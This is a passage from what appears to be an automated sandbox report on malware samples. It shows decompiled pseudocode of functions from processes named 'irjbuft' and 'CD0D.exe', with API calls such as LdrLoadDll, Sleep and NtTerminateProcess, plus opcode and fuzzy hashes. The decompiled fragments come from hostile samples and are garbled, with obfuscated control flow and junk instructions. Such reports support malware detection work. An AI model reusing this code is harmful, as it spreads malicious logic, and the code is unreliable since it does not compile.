				long _t13;
				void* _t14;
				struct _OBJDIR_INFORMATION _t16;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				asm("sbb eax, [eax]");
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, __eflags);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), __ecx, 0x51);
				_t24 = _t28 - 4;
				_t13 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t13;
				if(_t13 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t14 = 0x2700;
				L0040118A(_t14, _t18, 0x51, _t24, _t34);
				_t16 =  *(_t28 - 4);
				return _t16;
			}

0x004026d3
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000000F.00000001.370580124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction ID: 9584a62b05b7d8a9b2a776b7033dab2b10b945a71b24260a1d24854f7785f2a5
Opcode Fuzzy Hash: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction Fuzzy Hash: 9C01D131608500EBCB019E419E4DBAA3760AF04304F208477E606BF1D0C6FD9607FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026DF, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026DF(void* __ebx, signed int __ecx, void* __edi) {
				long _t12;
				void* _t13;
				struct _OBJDIR_INFORMATION _t15;
				signed char _t20;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				signed char _t33;

				_t20 = __ecx |  *0xebc2f5eb;
				_t33 = _t20;
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, _t33);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t20, 0x51);
				_t24 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t24, _t34);
				_t15 =  *(_t28 - 4);
				return _t15;
			}

0x004026df
0x004026df
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000000F.00000001.370580124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction ID: 8c80e095348b3890610be7f7119ddd6f2bf491658c7e2b08e3b2f8ba4f36ee70
Opcode Fuzzy Hash: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction Fuzzy Hash: 61F0C231608505F7CB059B919A5DB9A7B70AF48358F208037E6467F1C0C3BC9A0AEB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026F6, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026F6(void* __ebx, void* __ecx, signed int __edx, void* __edi) {
				void* _t12;
				long _t15;
				void* _t16;
				struct _OBJDIR_INFORMATION _t18;
				intOrPtr _t23;
				UNICODE_STRING* _t30;
				signed int _t32;
				intOrPtr* _t34;
				signed char _t37;

				_t37 = __edx |  *(__ebx + _t32 * 8 - 0xe);
				_t23 =  *_t34;
				L0040118A(_t12, __ebx, _t23, __edi, _t37);
				_t20 =  *((intOrPtr*)(_t32 + 8));
				_t30 = _t32 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + 0xc))(_t30,  *((intOrPtr*)(_t32 + 0xc)), __ecx, 0x51);
				_t28 = _t32 - 4;
				_t15 = LdrLoadDll(0, 0, _t30, _t32 - 4);
				_t38 = _t15;
				if(_t15 != 0) {
					 *(_t32 - 4) = 0;
				}
				_t16 = 0x2700;
				L0040118A(_t16, _t20, 0x51, _t28, _t38);
				_t18 =  *(_t32 - 4);
				return _t18;
			}

0x004026f6
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000000F.00000001.370580124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction ID: d7b1c623c9884319f2b4b1abd5d885049190cb82f350ff51d45b82dffe9b7bfe
Opcode Fuzzy Hash: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction Fuzzy Hash: E2F05435604505E7CF019A91999DB9E7760EF44354F208067F606BF0D1C2BC960A976A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: irjbuft PID: 7100 Parent PID: 6960 irjbuftCOMMON

Executed Functions

Function 00402AC0, Relevance: .1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00402AC0(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr* _t21;
				void* _t24;
				void* _t27;

				_t24 = __ecx;
				_push(0xffffffb6);
				 *((intOrPtr*)(__ebx + 0x47)) =  *((intOrPtr*)(__ebx + 0x47)) - __ebx;
				_push(__ecx);
				_t23 = 0x2e9e9c3;
				asm("in al, dx");
				asm("cmpsd");
				asm("loopne 0x4");
				asm("sbb al, 0x27");
				_t3 = __ecx - 0x16161681;
				 *_t3 =  *((intOrPtr*)(__ecx - 0x16161681)) - __eax + __eax - _t27;
				_t21 = 2;
				asm("in al, dx");
				if( *_t3 >= 0) {
					_t23 = 0x2e9e9c3 +  *0xf4b01aa;
					_push(ss);
					_push(ss);
					_t21 = 0x2b10;
					_push(0xad);
				}
				asm("lodsd");
				 *_t21 =  *_t21 + _t21;
				 *((intOrPtr*)(_t24 - 0x15)) =  *((intOrPtr*)(_t24 - 0x15)) + _t23;
				_t21 = _t21 + 0xf4eb0301;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
			}

0x00402ac0
0x00402ac0
0x00402ac2
0x00402ac5
0x00402ac6
0x00402acb
0x00402acc
0x00402acd
0x00402acf
0x00402ad5
0x00402ad5
0x00402adb
0x00402add
0x00402ade
0x00402ae0
0x00402ae6
0x00402ae7
0x00402aed
0x00402afe
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b05
0x00402b0b

Memory Dump Source

Source File: 00000010.00000002.507911710.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction ID: 7fe242a26a87a4f58b180528eeead1ac373e7822ac378e6f41f12b53d01bde8d
Opcode Fuzzy Hash: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction Fuzzy Hash: 4A21DB35208145EADF12AE618F5E9AA37349F10344F2400FBAD01751E2DBFD9B02BA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEB, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402AEB(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t15;

				_t15 = __ebx;
				while(1) {
					_push(0xad);
					asm("lodsd");
					 *0x2b10 =  *0x2b10 + 0x2b10;
					 *0x0000005D =  *((intOrPtr*)(0x5d)) + _t15;
					__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				}
			}

0x00402aeb
0x00402aed
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b0b
0x00402b0b

Memory Dump Source

Source File: 00000010.00000002.507911710.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction ID: 703404f178dd1594a4d59af797b8ce1b5d4eb18bb8309dbacaae7544c7f15ca3
Opcode Fuzzy Hash: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction Fuzzy Hash: 0A11FE30604106EADF12BE518B5ED7A3335AF10344F2000BBAD02751E1DBFDAB12B61B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: CD0D.exe PID: 5072 Parent PID: 3292 CD0D.exeCOMMON

Executed Functions

Function 004017A3, Relevance: 3.1, APIs: 2, Instructions: 56
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004017A3(signed int __edx, void* __edi, void* __esi, void* __fp0) {

				asm("wait");
				 *(0x7684bd6c + __edx * 4) =  *(0x7684bd6c + __edx * 4) >> 1;
			}

0x004017a6
0x004017aa

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.433059024.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction ID: 5bd60c2b3e8a068e4466346cbc0defb5667620a0c4f183a3ee32389aea7e8ad2
Opcode Fuzzy Hash: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction Fuzzy Hash: 3E01C033648100EBE700BA909C42E6A3325AF00700F24C137FA53BA1E1C63EDB22975B

Uniqueness

Uniqueness Score: -1.00%

Function 0040181C, Relevance: 3.1, APIs: 2, Instructions: 55
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0040181C(void* __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t24;

				_t19 = __edx;
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, _t20, _t21, _t24);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_push(0x1851);
				asm("les eax, [ebx+ebp*8]");
				_push(0x66);
				__esp = __esp + 4;
				return __eax;
			}

0x0040181c
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x0040188b
0x00401894
0x004018a3
0x004018a8
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.433059024.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction ID: 0d4c73ff1a25ccc0af209e25dff701d5f0484e4d803941be834223819e423ed0
Opcode Fuzzy Hash: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction Fuzzy Hash: DA019E33608204EBE7007A949D46D6A3329EF04714F24C137FA07791E1D63E9B22A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401828, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00401828(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t22;
				void* _t25;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				asm("enter 0xdd16, 0x68");
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, __edi, __esi, _t25);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(); // executed
				asm("les eax, [ebx+ebp*8]");
				__esp = __esp + 4;
				__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
				__edi = 0x66;
				__esi = 0x1851;
				__ebx = 0xffffffff;
				__esp = __ebp;
				__ebp = 0;
				return __eax;
			}

0x00401828
0x00401828
0x00401828
0x00401828
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x00401894
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.433059024.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction ID: b329b9df0df391f908064f7b6fb4b650575042adab4467ec8a7c1b58a8870e1c
Opcode Fuzzy Hash: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction Fuzzy Hash: F701B533648200EBE700BB909C42E6A37259F04701F248137FA53791E1D63ED722E72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017DA, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004017DA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t31;
				void* _t39;
				signed int _t40;

				L0:
				while(1) {
					_t31 = __edi;
					_t16 = __eax;
					__eax = __esp;
					__esp = _t16;
					_t17 = __eax;
					__eax = _t16;
					__esp = _t17;
					__eax = __edi * 0xffffff88;
					__eflags = __eax;
					if(__eflags >= 0) {
						L21:
						_push(0x66);
						__esp = __esp + 4;
						L23:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						__ebx =  *((intOrPtr*)(__ebp + 8));
						Sleep(0x1388);
						__eax = __ebp - 4;
						_push(__ebp - 4);
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *((intOrPtr*)(__ebp + 0xc)));
						_push(__ebx); // executed
						__eax = E004013A0(__ebx, __edi, __esi); // executed
						__eflags = __eax;
						if(__eax != 0) {
							L24:
							_push( *((intOrPtr*)(__ebp + 0x14)));
							_push( *(__ebp - 4));
							L25:
							_push(__eax);
							_push(__ebx); // executed
							__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
						}
						L26:
						__eax =  *__ebx(0xffffffff, 0); // executed
						L29:
						L27:
						_push(0x1851);
						__eax =  *__esp;
						L28:
						__al = __al & 0x00000083;
						asm("les eax, [ebx+ebp*8]");
						__eax = __eax + 0xefeb0eeb;
						__eflags = __eax;
						L30:
						L35:
						L31:
						_push(0x66);
						L32:
						L33:
						__esp = __esp + 4;
						L34:
						L36:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						L14:
						_push(0x867f6b6b);
						goto 0x363cf8f5;
						asm("adc byte [esp+edx*4+0x17b0901f], 0x50");
						if(__eflags > 0) {
							L5:
							asm("stosb");
							_t5 = __eax;
							__eax = __esp;
							__esp = _t5;
							asm("loopne 0xffffffbe");
							_pop(ds);
							asm("stosb");
							_pop(ds);
							asm("ficom dword [eax+0x459c7d17]");
							if(__eflags < 0) {
								L6:
								_push(__edx);
								asm("pushfd");
								asm("movsd");
								_push(__esp);
								asm("repne cmp [0x9494a494], edi");
								asm("loopne 0xffffff9a");
								L7:
								asm("wait");
								_t6 = __eax;
								__eax = __esp;
								__esp = _t6;
								_t7 = __eax;
								__eax = _t6;
								__esp = _t7;
								__eax = __edi;
								__edi = _t6;
								_t10 = 0x7684bd6c + __edx * 4;
								 *_t10 =  *(0x7684bd6c + __edx * 4) >> 1;
								__eflags =  *_t10;
							}
							L8:
							__ebp = 0x7f737684;
						} else {
							L15:
							if (__eflags >= 0) goto L11;
							L16:
							asm("xlatb");
						}
					}
					L37:
				}
				L3:
				_t4 = _t31;
				_t31 = _t39;
				_t39 = _t4;
				if(_t40 > 0) {
					_t2 = _t31 + 0xe;
					 *_t2 =  *(_t31 + 0xe) << 0x4d;
					_t40 =  *_t2;
					asm("cmpsd");
					goto L3;
				}
				return _t31;
				goto L37;
			}

0x004017da
0x004017da
0x004017da
0x004017db
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017dc
0x004017dd
0x004017dd
0x004017e0
0x0040183d
0x0040183d
0x00401842
0x0040184c
0x0040184c
0x00401851
0x00401859
0x0040185c
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186c
0x0040186e
0x00401870
0x00401870
0x00401873
0x00401876
0x00401876
0x00401877
0x00401878
0x00401878
0x0040187d
0x00401881
0x0040189a
0x0040188b
0x0040188b
0x00401890
0x00401892
0x00401892
0x00401894
0x00401897
0x00401897
0x0040189d
0x004018af
0x004018a3
0x004018a3
0x004018a4
0x004018a8
0x004018a8
0x004018ab
0x004018b2
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017e2
0x004017e2
0x004017e2
0x004017e7
0x004017ec
0x004017f5
0x00401788
0x00401788
0x00401789
0x00401789
0x00401789
0x0040178a
0x0040178c
0x0040178d
0x0040178e
0x0040178f
0x00401795
0x00401797
0x00401797
0x00401798
0x00401799
0x0040179a
0x0040179b
0x004017a2
0x004017a3
0x004017a6
0x004017a7
0x004017a7
0x004017a7
0x004017a8
0x004017a8
0x004017a8
0x004017a9
0x004017a9
0x004017aa
0x004017aa
0x004017aa
0x004017aa
0x004017ae
0x004017ae
0x004017f7
0x004017f7
0x004017f7
0x004017f8
0x004017f8
0x004017f8
0x004017f5
0x00000000
0x004017e0
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x00401771
0x00000000
0x00401771
0x00401775
0x00000000

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.433059024.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction ID: a894bf59af688e7f2aefbaf232239d4a7e11f6dbdc9ab261776b6b6844387aa1
Opcode Fuzzy Hash: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction Fuzzy Hash: 0A018432644201EBEB00BA909D42D6E3325AF44714F248137FA17BA1E1D63EDB22976B

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004017F8(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t30;
				void* _t37;
				signed int _t39;

				L0:
				while(1) {
					_t30 = __eax;
					asm("xlatb");
					__eax =  *__edi * 8;
					__eflags = __eax;
					_t12 = __eax;
					__eax = __esp;
					__esp = _t12;
					_t13 = __eax;
					__eax = _t12;
					__esp = _t13;
					__eax = _t13;
					__esp = _t12;
					if(__eflags > 0) {
						L2:
						asm("cmpsd");
						L3:
						_t3 = _t30;
						_t30 = _t37;
						_t37 = _t3;
						if(_t39 > 0) {
							L1:
							_t1 = _t30 + 0xe;
							 *_t1 =  *(_t30 + 0xe) << 0x4d;
							_t39 =  *_t1;
							goto L2;
						}
						L4:
						return _t30;
					} else {
						L12:
						asm("cld");
						if (__eflags < 0) goto L3;
						L13:
						_t15 = __eax;
						__eax = __edi;
						__edi = _t15;
					}
					L37:
				}
				if(__eflags > 0) {
					__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
					__eax =  *__ebx(__ebx, __eax); // executed
					__eax =  *__esp;
					__al = __al & 0x00000083;
					asm("les eax, [ebx+ebp*8]");
					__eax = __eax + 0xefeb0eeb;
					__eflags = __eax;
					__esp = __esp + 4;
					__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
					__edi = 0x66;
					__esi = 0x1851;
					__ebx = 0xffffffff;
					__esp = __ebp;
					__ebp = 0;
					return __eax;
				} else {
					__bh = __bh &  *(__edi - 0x65);
					asm("clc");
					asm("popfd");
					asm("lodsd");
					asm("enter 0xe0fc, 0x97");
					_t19 = __eax;
					__eax = __esp;
					__esp = _t19;
					_t20 = __eax;
					__eax = _t19;
					__esp = _t20;
					asm("int 0x7f");
					__eax = __ecx;
					__ecx = _t19;
					__bh = 0x7f;
					asm("pushad");
					asm("repne jl 0xffffffd4");
					asm("insd");
					__ebp =  *(__ebx + 0x5f) * 0x5e;
					__eflags = __ebp;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				goto L37;
			}

0x004017f8
0x004017f8
0x004017f8
0x004017f8
0x004017d0
0x004017d0
0x004017d3
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d4
0x004017d5
0x004017d5
0x004017d6
0x00401771
0x00401771
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x0040176a
0x00000000
0x0040176e
0x00401775
0x00401775
0x004017d8
0x004017d8
0x004017d8
0x004017d9
0x004017da
0x004017da
0x004017da
0x004017da
0x004017da
0x00000000
0x004017d6
0x004017f9
0x00401878
0x00401881
0x00401890
0x00401892
0x00401894
0x00401897
0x00401897
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017fb
0x004017fb
0x004017fe
0x004017ff
0x00401801
0x00401802
0x00401806
0x00401806
0x00401806
0x00401807
0x00401807
0x00401807
0x00401808
0x0040180a
0x0040180a
0x0040180b
0x0040180e
0x0040180f
0x00401812
0x00401813
0x00401813
0x00401817
0x00401818
0x00401818
0x00401819
0x00401819
0x00000000

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.433059024.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction ID: 5d664576ed34e104d60d9d9409068ebedb4ca3d0074abe090f0a839b89efd0e8
Opcode Fuzzy Hash: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction Fuzzy Hash: DCF0C233748211DAE205B6599C83B29B3909F11724F24813BE557BB1E2D26E9622525F

Uniqueness

Uniqueness Score: -1.00%

Function 6A95967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A1C65,000000FF,00000007,?,00000004,00000000,?,?,?,6A9A1951,00000065,00000000,?,6A9A0C5E,?,00000000), ref: 6A959694

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 19a4584734be967080fe5f5c60c9d90bb8e39b8ec46eeb6aa04edbccf94bc27a
Instruction ID: 6a2370cf8cb68ed6bf1f74442e162686297baf0a1a71c03f34059c08104d192a
Opcode Fuzzy Hash: 19a4584734be967080fe5f5c60c9d90bb8e39b8ec46eeb6aa04edbccf94bc27a
Instruction Fuzzy Hash: 25B02BF18024C5C5F600D76006087073D403FC0300F32C021D1120600B0F3CC090F1B1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9598C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000), ref: 6A9598CA

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fa6be9eb6fca34f78b4459094a76662930d749794fc1343acb7a8c26eb135e46
Instruction ID: 2836650a96cbb2e46f9444bfb031d60b1f7352ac6e0998b100615679bbbf9924
Opcode Fuzzy Hash: fa6be9eb6fca34f78b4459094a76662930d749794fc1343acb7a8c26eb135e46
Instruction Fuzzy Hash: B39002A120150882F101655A4404F06244A5BE0281FF1D026E1119934D8E5DC952B265

Uniqueness

Uniqueness Score: -1.00%

Function 6A959820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A972EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6A95982A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7b3d619b05f55f72d9fb14be060163d269ff3d27b87ee76df24c23c948dbd2b5
Instruction ID: dcb3ff88c445d84bab890587b0f3701d122b37288270e4666f1263f5e4098b50
Opcode Fuzzy Hash: 7b3d619b05f55f72d9fb14be060163d269ff3d27b87ee76df24c23c948dbd2b5
Instruction Fuzzy Hash: 4D9002B124150802E141755A4404606144A6BD0281FF1D022E0514924E8E9DCA56BAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A959860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
